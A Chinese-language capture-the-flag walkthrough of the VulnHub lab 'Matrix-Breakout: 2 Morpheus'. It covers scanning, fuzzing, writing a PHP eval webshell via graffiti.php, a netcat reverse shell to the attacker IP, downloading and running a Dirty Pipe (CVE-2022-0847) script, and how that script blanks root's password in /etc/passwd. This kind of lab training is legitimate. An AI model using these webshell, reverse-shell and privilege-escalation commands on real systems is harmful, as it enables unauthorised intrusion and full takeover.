Matrix-Breakout: 2 Morpheus靶场渗透
Matrix-Breakout: 2 Morpheus
来自 <Matrix-Breakout: 2 Morpheus ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.148
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.148
1. 22/tcp → SSH
- 服务:OpenSSH 8.4p1 (Debian 5 版本包)
- 特征:比较新的 OpenSSH 版本,没有明显已知远程漏洞,但可能存在:
- 弱口令/默认口令
- 公钥认证配置不当
- 爆破可行性(hydra、medusa、ncrack)
攻击思路:
- 使用常见的用户字典(root, admin, morpheus, test)进行弱口令尝试。
- 若后续能通过 Web 拿到账号信息,可以尝试凭证复用。
2. 80/tcp → Apache 2.4.51 (Debian)
- 服务:Apache httpd 2.4.51
- 版本风险:该版本曾存在多个漏洞(目录穿越、路径解析错误、HTTP 请求走私等),CVE-2021-42013 较为典型。
- 页面标题:Morpheus:1
- 说明这是一个渗透靶场/CTF 机器,Web 应用是主要突破口。
攻击思路:
- 目录扫描(gobuster/dirsearch/ffuf)寻找隐藏目录/文件。
- 查看源码或页面提示,获取账号、路径信息。
- Apache 2.4.51 可尝试 路径穿越 + 远程代码执行 (RCE) 漏洞(若未打补丁)。
- 注意 robots.txt 或者常见的 /admin /uploads /phpmyadmin。
3. 81/tcp → nginx 1.18.0
- 服务:nginx 1.18.0
- 特征:返回 401 Unauthorized,需要 Basic 认证,Realm 显示为 Meeting Place
- 可能是后台管理接口或内部应用入口。
攻击思路:
- 抓取 401 响应包,暴力破解 Basic Auth(hydra 支持 http-get / 的认证爆破)。
- 版本风险:nginx 1.18.0 是较旧版本,可能存在已知漏洞(HTTP 请求走私等)。
- 推测它与 80 端口的 Apache 一起工作(可能是反向代理、双 Web 服务环境)。
4,访问80端口开放的http服务
再扫描其子目录
dirsearch -u http://192.168.23.148 -x 403,404
被耍了,什么都没有。
5,再访问81端口开放的http服务
是一个登录弹窗,那就只能放弃了。
6,回到80端口进行模糊测试了,看看能不能扫出来啥
ffuf -u http://192.168.23.148/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,html
http://192.168.23.148/graffiti.txt
http://192.168.23.148/graffiti.php
7,发现此处输入的内容会保存在txt文件中
可以使用burpsuite抓一个包分析一下
那么我们可以将666替换为一句话木马,graffiti.txt替换为shell.php以实现写入木马
<?php @eval($_POST['cmd']);?>
然后再使用蚁剑进行连接
8,然后使用蚁剑反弹shell
nc -e /bin/sh 192.168.23.128 4444
nc的-e参数被禁了,那就直接上传kali自带的反弹shell木马
上传木马成功
访问 http://192.168.23.148/cmd.php 触发反弹shell
9,python脚本获取一个可交互式shell,再信息收集一下
python3 -c 'import pty;pty.spawn("/bin/bash")'
使用提权脚本进行提权,首先在kali上准备好脚本
在靶场上下载提权所用脚本
cd /tmp
wget http://192.168.23.128:8000/Dirty-Pipe.sh
给脚本执行权限,然后执行
chmod +x Dirty-Pipe.sh
./Dirty-Pipe.sh
成功变成root用户,获得flag
Dirty Pipe (CVE-2022-0847) 提权利脚本
https://github.com/r1is/CVE-2022-0847/blob/main/Dirty-Pipe.sh
1. Dirty Pipe 漏洞本质
- 漏洞位置:Linux 内核 pipe_buffer.flags 变量未正确初始化。
- 影响版本:Linux 5.8 ~ 5.16.11, 5.15.25, 5.10.102 之前。
- 利用效果:任意普通用户进程可以将任意数据写入任意 只读文件 的 页缓存 (page cache)。
- 关键点:并不是直接写文件,而是篡改文件在内存中的缓存映像 → 当进程读取该文件时,就会读到被修改的内容。
因此,攻击者能“假写”只读文件,比如 /etc/passwd。
2. 脚本工作流程
(1) 生成漏洞利用 C 代码
cat > exp.c <<EOF
... (Dirty Pipe PoC 源码) ...
EOF
这里写入的 exp.c 是官方 PoC:
- 创建一个特殊的 pipe,利用未初始化的 PIPE_BUF_FLAG_CAN_MERGE。
- 用 splice() 将目标文件的某个字节页引用进 pipe。
- 随后 write() 时直接覆盖目标文件缓存数据。
(2) 编译漏洞利用程序
gcc exp.c -o exp -std=c99
得到可执行文件 ./exp,功能是:
./exp 目标文件 偏移 数据
例:./exp /etc/passwd 1 "xxxx" 表示从 /etc/passwd 的第 1 个字节开始写入数据。
(3) 备份系统文件
rm -f /tmp/passwd
cp /etc/passwd /tmp/passwd
防止利用失败导致系统不可登录。
(4) 修改 /etc/passwd
关键一行:
passwd_tmp=$(cat /etc/passwd | head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
- cat /etc/passwd | head 取前几行(通常包括 root 账户)。
- 通过 sed 风格替换:root:x → oot:
- 原本 /etc/passwd 的 root 行类似:
root:x:0:0:root:/root:/bin/bash
x 表示密码存放在 /etc/shadow。 - 替换后变成:
oot::0:0:root:/root:/bin/bash- root 变成 oot(因为替换的方式粗糙)。
- 密码字段为空(::),意味着 无需密码 即可登录该账号。
- 原本 /etc/passwd 的 root 行类似:
实际上,这里的逻辑稍有 bug,本意应该是把 root:x → root:,直接清空 root 密码。
但替换写法误伤了第一个字母。不过这不影响,因为新生成的 oot 账号 UID/GID 仍然是 0,拥有 root 权限。
(5) 切换到 root
su root
由于 /etc/passwd 被 Dirty Pipe 篡改,root 用户或 uid=0 用户已无密码限制,可以直接提权成功。
(6) 恢复现场
攻击者也准备了恢复命令:
rm -rf /etc/passwd
mv /tmp/passwd /etc/passwd
将备份文件拷回,避免系统报错或崩溃。
3. 提权原理总结
- 漏洞利用:Dirty Pipe 允许非特权用户向只读文件页缓存写入数据。
- 目标选择:攻击者选择 /etc/passwd,因为它控制着系统用户和认证方式。
- 修改方式:清空 root 用户密码字段,或者新建一个 uid=0 用户。
- 效果:绕过密码认证,直接 su root 获取系统最高权限。
4. 局限性
- 只能写在 页缓存 内,不能跨页(PoC 中有严格检查)。
- 修改的是 内存缓存,虽然会影响后续读取,但系统重启后可能恢复(除非数据落盘)。
- Dirty Pipe 只能在受影响内核上利用(Linux ≥5.8 且未打补丁)。
- 这种 /etc/passwd 修改方式比较粗暴,容易破坏系统,CTF/靶场常见,但实战中可能更倾向于写 authorized_keys 或 SUID 文件。